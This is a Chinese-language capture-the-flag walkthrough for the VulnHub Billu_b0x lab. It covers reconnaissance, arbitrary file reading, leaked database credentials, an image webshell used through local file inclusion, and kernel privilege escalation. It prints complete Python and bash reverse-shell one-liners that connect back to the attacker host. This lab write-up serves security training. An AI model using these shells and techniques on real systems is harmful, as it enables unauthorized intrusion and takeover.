靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
一、环境搭建
1.1 实验环境设计
使用vmware导入靶机,模式为nat模式即可,同时开启kali作为攻击机,对靶机进行渗透,要确定两台主机在同一网段。
Kali的ip是192.168.1.130,靶机的ip是192.168.1.131。
1.2 渗透思路
1.信息搜集:ip发现,端口扫描,子域名爆破,目录扫描。
2.漏洞发现:敏感文件泄露,本地文件包含,文件上传和反弹shell
3.提权:内核提权,suid提权等。
二、信息搜集
首先使用sudo arp-scan -l进行ip扫描,可以看到扫描到的靶机ip为192.168.1.131。
再使用nmap对靶机进行端口扫描,命令:nmap -p- -sV -A 192.168.1.131,使用的是全端口扫描,检测目标服务的版本,系统探测、版本探测、脚本扫描。
接着使用gobuster进行目录扫描,命令如下:gobuster dir -u http://192.168.1.131/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,zip
再次开启一个目录扫描工具,使用dirsearch进行目录扫描:python dirsearch.py -u http://192.168.1.131,可以发现这次扫描到的目录多了几个。
三、漏洞挖掘与利用
每个子目录进行查看,看到in目录的phpinfo文件,开启了可能有的地方会存在文件包含漏洞。
查看test.php页面,发现缺少参数file,使用get传参不成功,尝试post传参,可以读取到/etc/passwd文件
展示一下读取到的/etc/passwd文件
再次查询,发现在c.php的数据库连接文件中,可以看到数据库的连接密码。账号:billu密码:b0x_billu
可以发现下图代码panel存在文件包含漏洞。源码解释:接收一个以post传参的load参数,如果没有匹配到add和show选项,则匹配传到的那个参数,因为没有做好过滤,所以访问的路径和文件是我们可以控制的。
使用找到的数据库账号密码成功登录phpmy目录,可以看到里面auth库下的账号密码。
使用数据库中的账号密码进行index.php页面的登录,成功登录,这里有两个功能,分别是show users 和add users
看到uploaded_images下只有靶机自带的一些图片,这里考虑使用图片木马配合文件包含漏洞进行getshell
尝试上传php木马文件,但是被过滤。
修改mime头和文件头都无法过滤,考虑使用文件包含漏洞进行利用
先写个图片木马,进行上传。
这里配合文件包含漏洞进行,那为什么不用test页面的文件包含,是因为test页面只是一个readfile的功能,是属于任意文件读取。
可以看到成功命令执行
四、获得权限
4.1 获得权限
在使用命令进行反弹shell前,需要把payload进行url编码,防止特殊字符会被转义。
可以使用python进行反弹shell:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
也可以使用bash进行反弹shell ,命令:echo “bash -i >& /dev/tcp/192.168.1.130/4444 0>&1” | bash
4.2 权限提升
查看具有suid权限的文件,尝试suid提权,但是失败,命令:find / -user root -perm /4000 2>/dev/null
尝试内核提权,使用uname -a 和cat /etc/issue查看系统内核版本,使用searchsploit查找对应的内核版本漏洞,可以看到对应的提权版本有37292.c文件。
使用locate命令查看文件的存放位置,使用cp命令将文件复制到桌面
提权漏洞的使用方法如下
在kali的桌面开启终端,使用命令python -m http.server开启web服务,在靶机终端切换到tmp目录中,再使用wget下载该文件。
使用gcc进行编译,再运行即可提权。
也可以在phpmy文件找到的配置文件,直接尝试ssh登录即可,登入就是root权限
总结:
在拿到一个渗透站点,首先我们要判断他的真实ip,然后再使用nmap进行开放端口的扫描和服务的版本等,如果扫描到一些老版本的服务,可以进行nday漏洞的利用,如果开放的一些敏感端口,像21端口的ftp,MySQL的3306端口,windows的远程桌面等,可以在进行信息搜集后进行弱口令的爆破。但最重要的是像80端口和8080端口web服务的漏洞发现.
对于web服务,我们首先要进行信息搜集,使用gobuster和dirsearch进行目录扫描,使用fuzz和wfuzz进行子域名的扫描,如果网站的内容中存在一些特殊的地址,像ycx@yxq.com等我们应该修改一下自己本地的host文件,看一下会不会有新的发现。信息搜集完之后进行进行漏洞的发现,这个就有很多种像文件包含、任意文件读取、命令执行、文件上传和逻辑漏洞等,如果目标站点使用了cms等,可以查找对应的nday漏洞。在这台靶机中,利用任意文件读取漏洞读取文件的源码,在源码中发现密码泄露和文件包含漏洞,使用密码登录后再配合图片马完成getshell,再通过内核提权可以拿到root权限。也可以使用目录扫描,暴力破解phpmy目录下的文件,在配置文件中得到的密码可以用来进行ssh登录,直接就是root权限。
总的来说,在拿到渗透的网站后,最重要的就是进行信息搜集,多搜集到一些信息就多一种找到漏洞的可能,在找到网站存在nday漏洞并找到对应版本的exp后,我们要学会对脚本进行适当的修改,有可能拿来就用是失败的,但是修改完路径和一些参数后就可以成功了,在提权的时候要对suid权限的文件敏感,查看在不需要管理员密码的情况下可以执行哪些命令,对定时文件和敏感目录等进行查看,要抓住细节,平时多积累,在做渗透时才能对关键信息敏感,更容易找到漏洞所在。